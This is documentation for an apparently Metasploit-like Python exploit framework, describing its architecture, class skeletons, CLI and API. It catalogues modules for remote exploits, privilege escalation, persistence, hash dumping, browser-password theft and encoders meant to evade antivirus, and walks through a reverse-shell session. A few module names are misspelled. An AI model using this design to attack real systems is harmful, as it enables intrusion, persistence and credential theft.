5
CORE LAYERS
22
MODULES
9
ENGINE COMPONENTS
6
PIPELINE STEPS
What is CxPloit-Framework?

CxPloit-Framework is a Python-based security testing framework that provides a structured environment for developing, organizing, and executing exploit code. It separates concerns into five distinct layers — from user interface down to persistent storage — and uses a dynamic module loader to discover and register exploit, payload, encoder, auxiliary, and post-exploitation modules at runtime.

Unlike standalone exploit scripts, CxPloit provides shared infrastructure: payload generation, session management, encoder chaining, handler/listener setup, and workspace isolation — so every module benefits from the same capabilities without reimplementing them.

Key Features
Modular Plugin System
Drop-in modules auto-discovered from disk. Each module implements a standard interface with options(), check(), run().
Staged Payload Delivery
Stager (small bootloader) + Stage (full payload) pattern for reliable delivery across restricted networks and character-limited injection points.
Encoder Chaining
Stack multiple encoders (XOR, Shikata Ga Nai, character exclusion) to produce polymorphic shellcode that evades signature-based AV/EDR.
Session Routing & Pivoting
Active sessions double as tunnel endpoints. Route commands through compromised hosts to reach internal network segments.
Workspace Isolation
Separate workspaces for different engagements. Hosts, credentials, loot, and config are fully isolated per-workspace.
Event-Driven Architecture
Pub/sub event bus connects all layers. UI updates, module triggers, and session events flow through a single unified channel.
Exploit Execution Pipeline
1
Select
Load exploit module
2
Configure
Set RHOST, payload, encoder
3
Check
Verify vulnerability
4
Exploit
Deliver encoded payload
5
Handle
Listener catches callback
6
Post
Escalate, persist, loot
Layer Stack (Top → Bottom)
L1
User Interface Layer
CLI (REPL shell), Web GUI (Flask dashboard), API/SDK (REST + Python bindings). All interfaces connect to the same Core Engine via a unified controller.
cmdloopFlaskREST
L2
Core Engine Layer
The orchestrator: Module Loader, Exploit Dispatcher, Session Manager, Payload Builder, Handler System, Event Bus, Encoder Chain, Data Store, Report Engine. This is the heart of the framework.
engine.pymodule_loadersession_mgrpayload
L3
Module Ecosystem Layer
Four module types: Exploits (RCE, LPE, DoS), Payloads (reverse, bind, meterpreter), Encoders (XOR, SGN, charset), Auxiliary (scanners, fuzzers, recon). All implement the ModuleBase interface.
exploitspayloadsencodersauxiliary
L4
Post-Exploitation Layer
Privilege escalation, persistence mechanisms, network pivoting (SOCKS/port forward), loot & credential collection. Operates through active sessions.
privescpersistpivotloot
L5
Infrastructure & Storage Layer
Database (SQLite/PostgreSQL), networking sockets (TCP/UDP/HTTP/SSL), file I/O, logging, and configuration management.
sqlitesocketssl
Cross-Layer Communication
Layers never import each other directly. All communication flows through two mechanisms:
  • Event Bus — publish/subscribe pattern. Any layer can emit events (exploit.launched, session.opened, module.loaded) and any layer can subscribe.
  • Data Store — centralized key-value store with workspace-scoped namespaces. Modules read/write options, the CLI reads state, the DB layer persists.
Clone & Install
BASH
# Clone the repository git clone https://github.com/ravichandran3/cxploit-framework.git cd cxploit-framework # Install Python dependencies pip install -r requirements.txt # Or install in development mode pip install -e .
Launch the Framework
BASH
# Start the interactive CLI python cxploit.py # Or with a specific workspace python cxploit.py -w engagement_01 # Start the web GUI (Flask dashboard) python cxploit.py --web --port 8080
Run Your First Exploit
CxPloit CONSOLE
cxploit > search type:exploit platform:linux cxploit > use exploit/linux/http/vulnerability_cve_2023_1234 cxploit exploit (...) > set RHOST 192.168.1.100 cxploit exploit (...) > set RPORT 8080 cxploit exploit (...) > set PAYLOAD linux/x64/reverse_tcp cxploit exploit (...) > check [*] Target appears vulnerable. cxploit exploit (...) > exploit [*] Sending payload... [*] Session 1 opened (192.168.1.100:8080 → 10.0.0.1:4444) cxploit exploit (...) > sessions ID Type Info Connection 1 meterpreter linux/x64 10.0.0.1:4444 → 192.168.1.100:43212 cxploit exploit (...) > sessions -i 1 meterpreter > sysinfo meterpreter > getuid
Disclaimer: This framework is intended for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have permission to test is illegal.
External Packages (requirements.txt)
PackageVersionUsed ByPurpose
socketstdlibhandlers, payloadsRaw TCP/UDP connections, listener sockets
sslstdlibhandlersTLS/SSL wrapping for HTTPS handlers
structstdlibpayloads, encodersBinary packing/unpacking for shellcode
threadingstdlibengine, handlersConcurrent listener and handler threads
argparsestdlibcliCommand-line argument parsing
cmdstdlibcliREPL loop base class (cmd.Cmd)
readlinestdlibcliTab-completion and command history
importlibstdlibmodule_loaderDynamic module discovery and importing
inspectstdlibmodule_loaderIntrospection for module class detection
sqlite3stdlibdatastoreEmbedded database for workspaces
flask≥2.3web_guiHTTP server for web dashboard
flask-socketio≥5.3web_guiWebSocket event streaming to browser
requests≥2.31auxiliary, exploitsHTTP client for web-based exploits
paramiko≥3.4payloads, auxiliarySSH client for brute-force and pivoting
scapy≥2.5auxiliaryPacket crafting for network scanners
pycryptodome≥3.19encoders, payloadsAES, RSA, XOR crypto operations
keystone-engine≥0.9payloadsJIT assembly for multi-arch shellcode
capstone≥4.0encodersDisassembly engine for shellcode analysis
colorama≥0.4cliCross-platform colored terminal output
Internal Import Map
from core.engine import CxPloitEngine from core.module_loader import ModuleLoader, ModuleRegistry from core.session_manager import SessionManager, Session from core.payload_builder import PayloadBuilder from core.handler_system import HandlerSystem, ReverseTCPHandler from core.event_bus import EventBus, Event from core.datastore import DataStore, Workspace from core.encoder_chain import EncoderChain from core.report_engine import ReportEngine from modules.base import ModuleBase, ExploitBase, PayloadBase from modules.base import EncoderBase, AuxiliaryBase, PostBase from lib.shellcode import ShellcodeGenerator from lib.network import RawSocket, TLSSocket from lib.crypto import xor_encode, aes_encrypt
Class: CxPloitEngine
PYTHON — core/engine.py
class CxPloitEngine: """Central orchestrator for the CxPloit framework.""" def __init__(self, config_path="config.yml"): # Initialize all core subsystems self.module_loader = ModuleLoader() self.session_mgr = SessionManager() self.payload_builder = PayloadBuilder() self.handler_sys = HandlerSystem() self.event_bus = EventBus() self.datastore = DataStore() self.encoder_chain = EncoderChain() self.report_engine = ReportEngine() self.active_module = None self.running = False def initialize(self): """Boot sequence: load config, init DB, discover modules.""" self.datastore.connect() self.module_loader.discover("modules/") self.handler_sys.start_listeners() self.event_bus.emit("engine.ready") def use_module(self, module_path: str): """Load a module by its path (e.g. 'exploit/linux/http/cve_xxx').""" self.active_module = self.module_loader.load(module_path) self.event_bus.emit("module.selected", module_path) def execute_exploit(self): """Run the full exploit pipeline: check → exploit → handle.""" if self.active_module.check(): payload = self.payload_builder.build(self.active_module) self.encoder_chain.apply(payload) result = self.active_module.run(payload) session = self.handler_sys.accept() self.session_mgr.register(session) self.event_bus.emit("session.opened", session) def shutdown(self): """Graceful teardown: close sessions, stop listeners, save state.""" self.session_mgr.close_all() self.handler_sys.stop_all() self.datastore.save() self.event_bus.emit("engine.shutdown")
Engine Methods Reference
MethodParametersReturnsDescription
initialize()—NoneBoot sequence: connect DB, discover modules, start listeners
use_module(path)strModuleBaseLoad and set active module by dotted path
execute_exploit()—SessionRun check → build payload → encode → exploit → handle
set_option(key, val)str, AnyNoneSet a module option (RHOST, RPORT, PAYLOAD, etc.)
get_option(key)strAnyRead current value of a module option
search(filter)dictlist[ModuleBase]Search module registry by type, platform, CVE, name
shutdown()—NoneGraceful teardown: close sessions, stop listeners, persist
Class: ModuleLoader
PYTHON — core/module_loader.py
class ModuleLoader: """Discovers and loads modules from the modules/ directory tree.""" def __init__(self): self.registry = ModuleRegistry() self.module_paths = [] # List of discovered .py files self.loaded = {} # path → module_class mapping def discover(self, base_dir: str = "modules/"): """Walk the modules/ tree and catalog all Python files.""" for root, dirs, files in os.walk(base_dir): for f in files: if f.endswith(".py") and not f.startswith("_"): self.module_paths.append( os.path.join(root, f) ) def load(self, module_path: str) -> ModuleBase: """Import a module file and return its class instance.""" spec = importlib.util.spec_from_file_location( module_path, self._resolve(module_path) ) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) cls = self._find_module_class(mod) instance = cls() self.loaded[module_path] = instance return instance def _find_module_class(self, mod) -> type: """Find the class in a module that inherits from ModuleBase.""" for name, obj in inspect.getmembers(mod, inspect.isclass): if issubclass(obj, ModuleBase) and obj is not ModuleBase: return obj def load_all(self): """Load every discovered module into the registry.""" for path in self.module_paths: try: instance = self.load(path) self.registry.register(instance) except Exception as e: logger.warning(f"Failed to load {path}: {e}")
Class: ModuleRegistry
The registry stores loaded module instances indexed by type, name, and path. It supports searching by filters.
MethodParametersReturnsDescription
register(module)ModuleBaseNoneAdd module to registry, indexed by type + path
get(path)strModuleBaseRetrieve module instance by dotted path
search(**filters)type, platform, cvelist[ModuleBase]Filter registry by module attributes
list_types()—list[str]Return all registered module types
count()—intTotal number of registered modules
Classes
PYTHON — core/session_manager.py
class Session: """Represents an active connection to a compromised host.""" session_id: int session_type: str # "shell" | "meterpreter" platform: str # "linux/x64", "windows/x86" conn: socket.socket # Underlying socket connection tunnel: Session = None # Pivot tunnel parent created_at: float def execute(self, command: str) -> str: ... def write(self, data: bytes) -> None: ... def read(self) -> bytes: ... def close(self) -> None: ... def is_alive(self) -> bool: ... class SessionManager: sessions: dict[int, Session] = {} _next_id: int = 1 def register(self, conn, session_type, platform) -> Session: ... def interact(self, session_id: int) -> None: ... def route_through(self, session_id, subnet) -> None: ... def close(self, session_id: int) -> None: ... def close_all(self) -> None: ... def list(self) -> list[Session]: ...
Pivoting via Sessions
When route_through(session_id, subnet) is called, all traffic destined for that subnet is tunneled through the specified session's connection. This enables lateral movement into internal networks without direct connectivity.
Class: PayloadBuilder
PYTHON — core/payload_builder.py
class PayloadBuilder: """Builds payloads by assembling stager + stage + encoder chain.""" def build(self, module: ModuleBase) -> bytes: """Full build pipeline: select payload → assemble → encode → format.""" payload_mod = self.resolve_payload(module) raw = payload_mod.generate() if payload_mod.staged: stager = payload_mod.stager() stage = payload_mod.stage() raw = stager + stage encoded = self.encoder_chain.apply(raw, module.options) return self.format_output(encoded, module.options) def resolve_payload(self, module) -> PayloadBase: """Resolve the payload module from the module's PAYLOAD option.""" payload_path = module.options["PAYLOAD"] return self.registry.get(payload_path) def format_output(self, data: bytes, opts: dict) -> bytes: """Transform raw shellcode into the requested output format.""" fmt = opts.get("FORMAT", "raw") if fmt == "raw": return data elif fmt == "exe": return self._wrap_pe(data) elif fmt == "elf": return self._wrap_elf(data) elif fmt == "python": return self._wrap_python(data) elif fmt == "c": return self._wrap_c(data)
Supported Output Formats
FormatDescriptionUse Case
rawRaw shellcode bytesDirect injection into memory buffer
exeWindows PE executableStandalone payload binary for Windows
elfLinux ELF executableStandalone payload binary for Linux
pythonPython wrapper scriptPlatform-independent delivery
cC source with shellcode arrayCompile on target with gcc/cc
powershellPS1 script with Base64 payloadWindows in-memory execution
Handler Types
ReverseTCPHandler
Listens on LHOST:LPORT. Target connects back. Bypasses inbound firewalls.
def listen(self, lhost, lport): sock = socket.socket() sock.bind((lhost, lport)) sock.listen(5) conn, addr = sock.accept() return Session(conn, addr)
BindTCPHandler
Connects to target's listening port. Requires target to open a port. Works when egress is filtered.
def connect(self, rhost, rport): sock = socket.socket() sock.connect((rhost, rport)) return Session(sock, (rhost, rport))
ReverseHTTPHandler
Payload callbacks over HTTP/HTTPS. Polls for commands. Bypasses deep packet inspection.
MultiHandler
Listens on one port, dispatches to different payload handlers based on the connecting payload type.
Class: EventBus
PYTHON — core/event_bus.py
class EventBus: """Simple pub/sub event bus for decoupled communication.""" _subscribers: dict[str, list[Callable]] = defaultdict(list) def subscribe(self, event: str, handler: Callable): """Register a handler for an event name.""" self._subscribers[event].append(handler) def emit(self, event: str, *args, **kwargs): """Publish an event; all subscribers are called.""" for handler in self._subscribers.get(event, []): handler(*args, **kwargs) def unsubscribe(self, event: str, handler: Callable): """Remove a handler from an event.""" self._subscribers[event].remove(handler)
Built-in Events
Event NameEmitted ByPayloadConsumers
engine.readyEngine—CLI, WebGUI
module.loadedModuleLoaderModuleBaseEngine, CLI
module.selectedEnginestr (path)CLI, WebGUI
session.openedHandlerSystemSessionSessionMgr, CLI, DB
session.closedSessionMgrint (id)CLI, DB
exploit.launchedEngineModuleBaseReportEngine, DB
exploit.successEngineSessionCLI, WebGUI, Report
exploit.failedEngineExceptionCLI, Report
Schema Overview
TableColumnsDescription
workspacesid, name, created_atIsolated environments per engagement
hostsid, workspace_id, address, os, arch, statusDiscovered or exploited targets
servicesid, host_id, port, proto, name, stateOpen ports and running services
credentialsid, host_id, type, user, secret, originCaptured hashes and passwords
lootid, host_id, type, data, pathFiles, screenshots, configs
sessions_logid, session_id, command, output, tsCommand history per session
Module Base Class
PYTHON — modules/base.py
class ExploitBase(ModuleBase): """Base class for all exploit modules.""" module_type = "exploit" def options(self) -> dict: """Return dict of required/optional parameters.""" return { "RHOST": {"type": str, "required": True, "desc": "Target host"}, "RPORT": {"type": int, "required": True, "desc": "Target port"}, "PAYLOAD": {"type": str, "required": True, "desc": "Payload to deliver"}, "TARGET": {"type": int, "required": False, "desc": "Target index (0=default)"}, } def check(self) -> bool: """Verify if target is vulnerable (non-destructive).""" raise NotImplementedError def run(self, payload: bytes) -> bool: """Execute the exploit with the given payload. Return success.""" raise NotImplementedError
Exploit Module Catalog
Remote Exploits
Target services listening on the network (RCE over network).
  • exploit/linux/http/apache_mod_cgi — Apache mod_cgi bash env injection
  • exploit/linux/ftp/vsftpd_234 — VSFTPD 2.3.4 backdoor
  • exploit/windows/smb/ms17_010 — EternalBlue SMB RCE
  • exploit/windows/http/iis_webdav — IIS WebDAV buffer overflow
Local Exploits
Run on the target after initial access. Escalate privileges locally.
  • exploit/linux/local/kenel_cve_2021_4034 — Pkexec LPE
  • exploit/linux/local/sudo_baron_samito — Sudo rule bypass
  • exploit/windows/local/bypassuac — UAC bypass via eventvwr
  • exploit/windows/local/privexchange — Exchange privilege escalation
Payload Base Class
PYTHON — modules/base.py
class PayloadBase(ModuleBase): module_type = "payload" staged = False # True = stager + stage platform = "linux" # Target OS arch = "x64" # Target architecture def generate(self) -> bytes: """Generate the complete payload shellcode.""" if self.staged: return self.stager() + self.stage() return self._generate_single() def stager(self) -> bytes: """Small bootloader that downloads and executes the stage.""" raise NotImplementedError def stage(self) -> bytes: """Full payload (meterpreter, shell) loaded by the stager.""" raise NotImplementedError
Payload Catalog
PathTypePlatformStagedDescription
linux/x64/shell_reverse_tcpshellLinux x64NoSingle reverse TCP shell
linux/x64/reverse_tcpmeterpreterLinux x64YesStaged meterpreter over reverse TCP
linux/x64/shell_bind_tcpshellLinux x64NoBind shell on target port
windows/x64/reverse_tcpmeterpreterWindows x64YesStaged meterpreter over reverse TCP
windows/x64/reverse_httpsmeterpreterWindows x64YesStaged meterpreter over HTTPS
generic/shell_reverse_tcpshellAnyNoPlatform-independent reverse shell in Python
Encoder Base Class
PYTHON — modules/base.py
class EncoderBase(ModuleBase): module_type = "encoder" def encode(self, data: bytes, badchars: str = "") -> bytes: """Transform payload bytes, avoiding badchars.""" raise NotImplementedError def decode_stub(self) -> bytes: """Return the decoder stub prepended to encoded payload. When executed, the stub decodes the payload in-memory.""" raise NotImplementedError
Encoder Catalog
Shikata Ga Nai
Polymorphic XOR encoder. Each run produces different output. Decoder stub uses random key and XOR-decodes payload in a loop.
polymorphicxorx86/x64
XOR Encoder
Simple single-key XOR encoding. Fast but not polymorphic — same key produces same output.
xorsimple
Charset Exclusion
Re-encodes payload to avoid specified bad characters (e.g., null bytes, newlines). Wraps another encoder.
badcharswrapper
Auxiliary Catalog
PathCategoryDescription
auxiliary/scanner/portscan/tcpscannerMulti-threaded TCP port scanner with service detection
auxiliary/scanner/http/dir_scannerscannerWeb directory brute-forcer with common wordlists
auxiliary/scanner/ssh/brute_forcescannerSSH credential brute-forcer using paramiko
auxiliary/fuzzer/http/parameter_fuzzfuzzerHTTP parameter fuzzing for injection detection
auxiliary/recon/dns_enumreconDNS subdomain enumeration via dictionary attack
auxiliary/spoof/arp/spoofspoofARP cache poisoning for MITM position
Post Module Catalog
Privilege Escalation
  • post/linux/escalate/kernel_suggester — Suggests kernel exploits based on uname
  • post/linux/escalate/sudo_check — Checks sudo misconfigurations
  • post/windows/escalate/bypassuac — UAC bypass methods
Persistence
  • post/linux/persist/cron_backdoor — Install cron-based callback
  • post/windows/persist/registry — Registry run key persistence
  • post/windows/persist/service — Create Windows service for payload
Pivoting
  • post/multi/pivot/socks_proxy — SOCKS4a proxy through session
  • post/multi/pivot/portfwd — Local/remote port forwarding
Loot & Collection
  • post/linux/gather/enum_configs — Harvest config files
  • post/linux/gather/hashdump — Extract /etc/shadow hashes
  • post/windows/gather/hashdump — Dump SAM database hashes
  • post/windows/gather/enum_chrome — Extract Chrome saved passwords
  • post/multi/gather/screenshot — Capture desktop screenshot
CommandSyntaxDescription
searchsearch [filter:value ...]Search modules. Filters: type, platform, cve, name
useuse <module_path>Load a module as the active module
infoinfoShow active module details, options, and description
setset <KEY> <VALUE>Set a module option
unsetunset <KEY>Clear a module option back to default
showshow [options|payloads|targets|encoders]Display module information
checkcheckRun non-destructive vulnerability check
exploitexploit [-j]Run exploit. -j = run as background job
runrunAlias for exploit (for auxiliary/post modules)
sessionssessions [-i ID] [-k ID]List sessions. -i = interact, -k = kill
handlerhandler -p <payload> -H <lhost> -P <lport>Start a payload handler/listener
routeroute add <subnet> <session_id>Add pivot route through a session
workspaceworkspace [name|-a name|-d name]Switch, add, or delete workspaces
dbdb [hosts|services|creds|loot]Query the workspace database
backbackDeselect active module, return to main prompt
exitexitShutdown engine and exit
REST Endpoints
MethodEndpointDescription
GET/api/modulesList all loaded modules with metadata
GET/api/modules/:pathGet module details, options, and description
POST/api/modules/:path/executeExecute a module with given options
GET/api/sessionsList active sessions
POST/api/sessions/:id/executeRun a command in a session
DELETE/api/sessions/:idKill a session
GET/api/hostsList hosts in current workspace
GET/api/credsList collected credentials
GET/api/lootList collected loot
POST/api/handlers/startStart a payload handler
Python SDK Example
PYTHON
from cxploit.sdk import CxPloitClient api = CxPloitClient("http://localhost:8080") # Search for Linux exploits modules = api.modules.search(type="exploit", platform="linux") # Execute an exploit result = api.modules.execute( "exploit/linux/http/apache_mod_cgi", options={"RHOST": "192.168.1.100", "RPORT": 80} ) # List and interact with sessions sessions = api.sessions.list() if sessions: output = api.sessions.execute(sessions[0].id, "whoami") print(output)
config.yml
YAML — config.yml
# CxPloit Framework Configuration database: backend: "sqlite" # sqlite | postgresql path: "data/cxploit.db" host: "localhost" # for postgresql port: 5432 handlers: default_lhost: "0.0.0.0" default_lport: 4444 auto_listen: true # Start handler on exploit ssl_cert: null # Path to SSL cert for HTTPS encoder: default: "encoder/x86/shikata_ga_nai" iterations: 5 # Number of encoding passes badchars: "\\x00" # Characters to avoid modules: paths: - "modules/exploits" - "modules/payloads" - "modules/encoders" - "modules/auxiliary" - "modules/post" auto_load: true logging: level: "INFO" file: "logs/cxploit.log" max_size: 10485760 # 10MB
DIRECTORY TREE
cxploit-framework/ ├── cxploit.py ← Entry point / CLI launcher ├── config.yml ← Framework configuration ├── requirements.txt ← Python dependencies ├── setup.py ← Package installer ├── README.md ← Project documentation │ ├── core/ ← Core engine layer │ ├── engine.py ← Main orchestrator class │ ├── module_loader.py ← Dynamic module discovery & import │ ├── session_manager.py ← Session lifecycle management │ ├── payload_builder.py ← Payload assembly + encoding │ ├── handler_system.py ← Listener / handler management │ ├── event_bus.py ← Pub/sub event system │ ├── datastore.py ← Database layer + workspace │ ├── encoder_chain.py ← Encoder stacking logic │ └── report_engine.py ← Report generation (HTML/JSON/PDF) │ ├── modules/ ← Module ecosystem layer │ ├── base.py ← ModuleBase, ExploitBase, PayloadBase, etc. │ ├── exploits/ ← Exploit modules │ │ ├── linux/ │ │ │ ├── http/ ← Web-based RCE exploits │ │ │ ├── ftp/ ← FTP service exploits │ │ │ ├── smb/ ← SMB service exploits │ │ │ └── local/ ← Local privilege escalation │ │ └── windows/ │ │ ├── smb/ │ │ ├── http/ │ │ └── local/ │ ├── payloads/ ← Payload modules │ │ ├── linux/ x86/ x64/ │ │ ├── windows/ x86/ x64/ │ │ └── generic/ │ ├── encoders/ ← Encoder modules │ │ ├── x86/ │ │ └── x64/ │ ├── auxiliary/ ← Scanner/fuzzer/recon modules │ │ ├── scanner/ │ │ ├── fuzzer/ │ │ └── recon/ │ └── post/ ← Post-exploitation modules │ ├── linux/ │ ├── windows/ │ └── multi/ ← Cross-platform post modules │ ├── cli/ ← CLI interface layer │ ├── console.py ← Main REPL (cmd.Cmd subclass) │ ├── completer.py ← Tab-completion logic │ └── commands.py ← Command handlers │ ├── web_gui/ ← Web interface layer │ ├── app.py ← Flask application │ ├── api.py ← REST API routes │ └── templates/ ← Jinja2 HTML templates │ ├── lib/ ← Shared libraries │ ├── shellcode.py ← Shellcode generation helpers │ ├── network.py ← Socket wrappers (TCP/SSL/HTTP) │ └── crypto.py ← Crypto utilities (XOR/AES/RSA) │ ├── data/ ← Framework data files │ ├── cxploit.db ← Default SQLite database │ └── wordlists/ ← Dictionary files for brute-force │ └── logs/ ← Log output directory └── cxploit.log